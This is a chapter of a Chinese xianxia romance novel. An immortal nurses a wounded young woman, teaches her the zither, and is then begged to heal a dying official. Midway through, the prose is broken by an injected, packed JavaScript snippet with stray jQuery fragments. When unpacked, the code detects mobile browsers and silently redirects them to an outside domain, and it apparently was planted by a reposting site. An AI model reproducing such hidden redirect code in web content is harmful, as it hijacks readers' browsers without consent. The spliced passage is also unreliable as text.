5. 您有新的救命订单
作品:《仙君总想救赎我》 “为什么…救我…”她声音嘶哑气弱。
晏祈静静地看着她,语气却恢复了那股熟悉的嘲弄:“救你?想多了。”他顿了顿,瞥她一眼,“你这般莽撞送死,岂非辜负了桃蓁冒险帮你?”
奚九的眼眶骤然一热,她鼻尖发酸,所有压抑的委屈、绝望与不甘,都险些化作泪水涌出。但她没有哭。她只是微微闭上眼,将那股酸楚尽数咽了下去。
“桃蓁她……”
“她自有她的麻烦。”晏祈替她掖好被角,“你且安心养伤,至于报仇。”他站起身,背对着她,声音听不出情绪,“别再想这种蠢法子。死,是最容易的事。活着,才最难。”
说完,他推门出去,留下满室清冷的檀香和怔忡的奚九。
窗外,月光依旧清冷地洒在院中。晏祈负手立于枫树下,望着皇宫的方向,眸光深沉。
桃蓁的身影悄无声息地出现在他身后,语气忐忑:“上仙……”
“今日之事,我不希望有第二次。”晏祈未曾回头,声音冷冽,“你可知强行干预凡人命数,尤其涉及皇族,会有什么后果?”
“她想为自己争一争,又有何错?”桃蓁低下头,手指绞着衣角:“我只是可怜奚九姑娘……”
“可怜?”晏祈轻笑一声,带着讽刺,“这世间可怜之人何其多,管好你自己,便是对她最大的帮助。”
桃蓁咬唇不语,身影渐渐淡去,化作一缕桃色轻烟消失。
晏祈独自站了许久,直到天边泛起鱼肚白。他低头,看着指尖沾染的一点尚未干涸的血迹,那是奚九的血。
心头那点莫名的滞闷感,愈发清晰了。
自那夜奚九不告而别又被晏祈捡回后,木屋内的气氛变得微妙。表面上,奚九似乎认命般专注于养伤、做杂事,甚至跟着晏祈学琴。但她眼底深处那簇幽暗的火,从未熄灭。
晏祈将她的隐忍看在眼里,并不点破。
朝夕相处,免不了磕碰。
晏祈辟谷已久,对庖厨之事一窍不通。奚九倒是肯动手,只是成果往往惊心动魄。灶房里时常黑烟滚滚,焦糊之气弥漫,饶是晏祈这般淡定的神仙,也看得眼角直跳,生怕她一把火将这木屋点了。
“咳…咳咳!”奚九被烟呛得眼圈发红,小脸蹭得黢黑,对着灶膛里忽明忽灭的火星咬牙切齿。
晏祈远远倚在门框上,语气凉凉地点评:“我还以为你在炼丹,炼的还是火候过了头的毁容丹。”
奚九抓起一把柴火作势要丢他:“上仙若是闲得发慌,不如来搭把手?”
“免了。”晏祈广袖一拂,一道细微清风卷入灶膛,本欲熄灭的火苗“噗”地一声窜起,平稳燃烧起来。“本仙惜命,怕被你毒死,更怕被你烧死。”说罢,转身溜得飞快,留奚九对着那突然听话的火苗干瞪眼。
他依旧每日去镇上闲逛,带回各色吃食,偶尔被她做的焦糊饭菜呛得皱眉,毒舌点评:“凡间的火候与你有仇?”换来奚九一记白眼,和下一顿故意多撒了盐的羹汤。
他虽嘴毒,却会在她下厨手忙脚乱时,恰好路过,一个响指控住火势。也会在她打水归来,半路歇息时,面无表情地夺过水桶,还非得补一句:“凡人体弱,真是麻烦。”
奚九嘴上不饶人:“比不上您老人家仙体安康。”却诚实地松了手。
她依旧每餐固执地备两副碗筷。晏祈起初视若无睹,后来竟也偶尔“赏光”——当然,只挑卖相能入眼的食物,且绝不动鱼。
奚九第一次尝试蒸鱼,那腥气让他退避三舍,三日未近灶房。
奚九挑眉:“上仙不是不用食人间烟火?”
晏祈执筷,姿态优雅地夹起一片笋尖,语气平淡:“偶尔尝些草根树皮,体验民生疾苦,也是修行。”
教琴,成了两人间最奇特的交流方式。
奚九提出要学《雁落平沙》。
“志向倒是不小。此曲指法繁复,意境旷远,非一日之功。”晏祈挑眉,故意揶揄,“你这脑袋瓜里,还装得下‘旷远’二字?别到时候弹出的曲子,听着不像雁鸣,倒像是你磨着后槽牙准备跟谁拼命。”
“你教是不教?”
“报酬?”
奚九一时语塞。
晏祈目光掠过她发间那根银簪,唇角微勾:“罢了,看你可怜。”
教学过程,于晏祈堪称折磨。
“手腕悬空,以腕发力,非是以臂拖拉……错了。”
“音欲圆,韵欲长,非是拨算盘珠子……重来。”
“此处需用拂指,如秋风扫叶,非是母鸡啄米……”
奚九绷着脸,一遍遍练习,指尖磨得发红,却一声不吭。
晏祈嘴上刻薄,目光却落在她倔强的侧脸和微蹙的眉头上。他忽然俯身,双臂从她身后环过,温热的气息拂过她耳畔,手握住了她执拗的手指。
“看仔细,”他声音低沉了些,放缓动作,带动她的指尖在琴弦上抹挑勾剔,“如此……方是‘拂’。”
奚九整个人瞬间僵住,檀香味混着他身上清冽的气息笼罩下来,让她心跳失序,耳根发热,哪里还看得清指法?
“看、看明白了。”她声音发紧,下意识想挣脱。
“当真?”他侧首,距离近得几乎能看清她脸上细小的绒毛。
奚九猛地转头,柔软的唇瓣意外擦过他的脸颊。
两人俱是一僵。
奚九耳朵腾地红透,触电般弹开,手足无措,恨不得遁地而逃。
晏祈直起身,广袖微拂,面上看不出端倪,只语气依旧平淡无波,细听却似绷紧了一根弦:“既明白了,便自己练。若再错……”他顿了顿,“今晚就没饭吃了。”
他转身走向枫林,步速比平日稍快。
他需去林深处静一静,吹吹冷风,好将颊畔那抹不正常的温热和心头那点莫名的躁动压下去。
奚九独自留在院中,对着琴,却半晌无法静心。指尖下的音符杂乱无章,一如她此刻的心跳。她强迫自己集中精神,回忆着晏祈方才教的指法。
就在这时,篱笆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326943|183266||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
院外传来一阵窸窣声响,一个焦灼的中年男人在篱笆外探头探脑,高声询问:“请问……此处可是晏医师的居所?”
奚九起身警惕地望去,来人一身管家样式的灰布直裰,额上布满细密的汗珠,神情慌张。
她深知这小屋被晏祈施了结界十分安全,但她并未开门,只隔着篱笆,谨慎地问道:“晏医师?您是找晏祈?有什么事?”
那管家见到她,像是抓住了救命稻草,连忙躬身作揖:“正是正是!姑娘,烦请通传一声,我家大人途经三清镇,突发恶疾,高烧昏迷已三日了!镇上所有医馆的大夫都请遍了,药石无灵!眼看就要……就要……”他哽咽着,说不下去,“是济世堂的掌柜说,红枫林深处住有一位晏神医,医术通玄,或许……或许还有一线生机!求晏神医发发慈悲!”
奚九听着他的描述,心中已然明了。能拿出珍稀药材,医术又被传得神乎其神,除了晏祈,还能有谁。
她正色道:“他眼下出门了,并不在此处,我也不知道他什么时候回来。”
那管家一听,脸色瞬间惨白,竟急得差点跪下去:“不在?这、这可如何是好啊!”他急得原地打转,喃喃自语,“大人这次好不容易被召回都城,若是不能按期述职,延误了期限,上头怪罪下来,怕是……怕是要牵连尚书大人了啊!”
“敢问您家大人是?”奚九心中一动,顺势追问道。
“我家大人乃河州刺史,覃良川覃大人!”管家急声道。
覃良川?
奚九当然记得这位覃大人!
此人是父亲昔年同窗,当年在朝中为官时与父亲往来甚密,时常在府中把酒论政。后来他外放河州,才渐渐少了联系。他……或许会知道一些父亲在朝中的事,甚至是关于灭门之事的内情!
奚九的面上声色未动,心湖却已掀起滔天巨浪,她必须见见这位覃大人。可眼下,覃大人命在旦夕,而晏祈却不知何时才归。
正当她心念急转,思索对策之际,一个熟悉的身影晃晃悠悠地从枫林小径走来。
一个清冷的声音自身后响起:“吵什么?”
只见晏祈拎着一瓶新买的桂花酿,步履悠哉,带着几分酒后的微醺与懒散。
“晏祈!你回来的正好……”
奚九话未说完,那管家听到“晏祈”二字,仿佛溺水之人看到了浮木,猛地扑到篱笆前,“噗通”一声跪倒在地,声音都带上了哭腔:“您就是晏神医?求求您!求求您救救我家大人吧!”
晏祈脚步未停,他将手中的酒瓶随手抛给奚九,自己则径直走进院中,看都未看那管家一眼。
“您认错人了。”他的声音懒洋洋的,“我不过一山野闲人,不是什么神医。”
“晏医师!”管家见他要走,急得连连磕头,额头砸在泥地上,发出沉闷的声响。
奚九看不下去了,无论希望多渺茫,她都必须试一试。
她扶起管家,快步拦在晏祈身前,仰头看着他:“你连我都能救,为何不能救他?”